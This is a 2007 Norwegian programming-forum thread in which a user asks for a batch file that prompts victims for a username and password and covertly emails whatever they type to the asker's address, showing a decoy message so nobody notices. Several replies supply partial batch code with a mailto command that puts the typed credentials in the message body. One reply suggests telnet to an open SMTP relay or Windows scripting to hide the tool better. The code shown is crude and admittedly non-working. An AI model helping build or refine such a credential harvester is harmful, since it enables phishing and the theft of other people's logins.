lobfredd Skrevet 1. juni 2007 Skrevet 1. juni 2007 (endret) hvordan får jeg en bat fil til og sende det brukernavne og passorde du skriver inn til en epost? noe all av denne koden eller noe: (bare at den sender det du skriver!) @echo off title Skriv inn passord og brukernavn! set /p brukernavn=Skriv inn brukernavn: set /p passord=Skriv inn passord: if %brukernavn% equ test goto brukernavn goto feil :brukernavn if %passord% equ abc123 goto next goto feil :feil echo Feil passord eller brukernavn! pause exit :next cls title Her er din informasjon echo Riktig passord og brukernavn! pause exit Endret 1. juni 2007 av lobfredd
DemoniZer Skrevet 1. juni 2007 Skrevet 1. juni 2007 Jeg forstår ikke hva du ønsker. Det du har skrevet så langt fungerer fint.
lobfredd Skrevet 1. juni 2007 Forfatter Skrevet 1. juni 2007 Jeg forstår ikke hva du ønsker. Det du har skrevet så langt fungerer fint. 8754812[/snapback] men ikke helt som den! når du starter den skal den be om brukernavn ( du skriver det og trykker enter ) så skal den be om et passord ( du skriver det og trykker enter ) så skal det komme en tekst og det brukernavne og passord som er skrivd skal bli send til en e-post adresse!
DemoniZer Skrevet 1. juni 2007 Skrevet 1. juni 2007 START mailto:[email protected]?subject=Batch%%20passordˆ&[email protected]ˆ&body=Brukernavnet%%20%brukernavn%%%20og%%20passordet%%%passord% Lenge siden jeg har drevet med batch, bare å prøve
lobfredd Skrevet 1. juni 2007 Forfatter Skrevet 1. juni 2007 START mailto:[email protected]?subject=Batch%%20passordˆ&[email protected]ˆ&body=Brukernavnet%%20%brukernavn%%%20og%%20passordet%%%passord% Lenge siden jeg har drevet med batch, bare å prøve 8756499[/snapback] hvordan setter jeg den sammen?
tarcon Skrevet 1. juni 2007 Skrevet 1. juni 2007 (endret) START mailto:[email protected]?subject=Batch%%20passordˆ&[email protected]ˆ&body=Brukernavnet%%20%brukernavn%%%20og%%20passordet%%%passord% Lenge siden jeg har drevet med batch, bare å prøve 8756499[/snapback] Det vil jo ikke funke. Det vil bare åpne "mail assistant" eller hva det heter Men hvis du skal ha en sånn kode, så kan den jo se sånn ut, men dette er uten :bruker og :passord. Denne vil bare sende det du skriver. (Funker ikke, vet ikke hvordan den vil fungere, men her er det brukt demonizer sin kode) title Password request @echo off cls @echo Ditt passord? set /p passord= cls @echo Ditt brukernavn? set /p brukernavn= cls @echo Din mailadresse? set /p mail= cls START mailto:%mail%?subject=Batch%%20passordˆ&[email protected]ˆ&body=Brukernavnet%%20%brukernavn%% %20og%%20passordet%%%passord% Edit: Liten feil Endret 1. juni 2007 av tarcon
lobfredd Skrevet 1. juni 2007 Forfatter Skrevet 1. juni 2007 START mailto:[email protected]?subject=Batch%%20passordˆ&[email protected]ˆ&body=Brukernavnet%%20%brukernavn%%%20og%%20passordet%%%passord% Lenge siden jeg har drevet med batch, bare å prøve 8756499[/snapback] Det vil jo ikke funke. Det vil bare åpne "mail assistant" eller hva det heter Men hvis du skal ha en sånn kode, så kan den jo se sånn ut, men dette er uten :bruker og :passord. Denne vil bare sende det du skriver. (Funker ikke, vet ikke hvordan den vil fungere, men her er det brukt demonizer sin kode) title Password request @echo off cls @echo Ditt passord? set /p passord= cls @echo Ditt brukernavn? set /p brukernavn= cls @echo Din mailadresse? set /p mail= cls START mailto:%mail%?subject=Batch%%20passordˆ&[email protected]ˆ&body=Brukernavnet%%20%brukernavn%% %20og%%20passordet%%%passord% Edit: Liten feil 8758524[/snapback] ikke helt sånn jeg vil fram til heller! ikke sånn at den ber om en mail den skal sende til med den sender til den jeg skriver i koden! håper noen kan skrive koden!
tarcon Skrevet 1. juni 2007 Skrevet 1. juni 2007 Da kan du jo si f.eks :brukernavn @echo brukernavn set /p brukernavn= cls if %brukernavn%==administrator goto password if not %brukernavn%==administrator goto brukernavn :password @echo Passord set /p passord= cls if %passord%==123 goto sendmail if not %passord%==123 goto wrongpass :wrongpass Dette var feil passord. Du vil nå bli tatt tilbake til brukernavn. pause > nul goto :brukernavn :sendmail Denne koden kan jeg ikke, derfor lar jeg den stå oppe. Var det slik du mente? :/ hehe
lobfredd Skrevet 3. juni 2007 Forfatter Skrevet 3. juni 2007 Da kan du jo si f.eks :brukernavn @echo brukernavn set /p brukernavn= cls if %brukernavn%==administrator goto password if not %brukernavn%==administrator goto brukernavn :password @echo Passord set /p passord= cls if %passord%==123 goto sendmail if not %passord%==123 goto wrongpass :wrongpass Dette var feil passord. Du vil nå bli tatt tilbake til brukernavn. pause > nul goto :brukernavn :sendmail Denne koden kan jeg ikke, derfor lar jeg den stå oppe. Var det slik du mente? :/ hehe 8759786[/snapback] Det begynner og nærme seg nå! nei skal ikke komme wrong pass! når en eller annen skriver bruk/pass (samme hva han skriver) så skal den sende det de skrev til en mail uten at noen marker noe og så skal det komme opp en tekst! Blir veldig glad vis noen skriver koden!
nomore Skrevet 3. juni 2007 Skrevet 3. juni 2007 Er det ikke litt utrygt å sende brukernavn og passord pr epost da? Og hvorfor skal brukeren taste dette inn når det tydeligvis ikke brukes til noe men bare blir sendt til deg? Uansett kan jo en serie med telnet kommandoer brukes direkte mot en smtp-server som godtar forespørsler fra alle. Og dersom dette skal skjules bedre så vil eg anbefale å bruke noe annet en batch. Windows-scripting for eksempel.
Syar-2003 Skrevet 3. juni 2007 Skrevet 3. juni 2007 Send mail kommer litt an på epost klient , se her for ulike alternativer : http://www.ss64.com/nt/mapisend.html
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå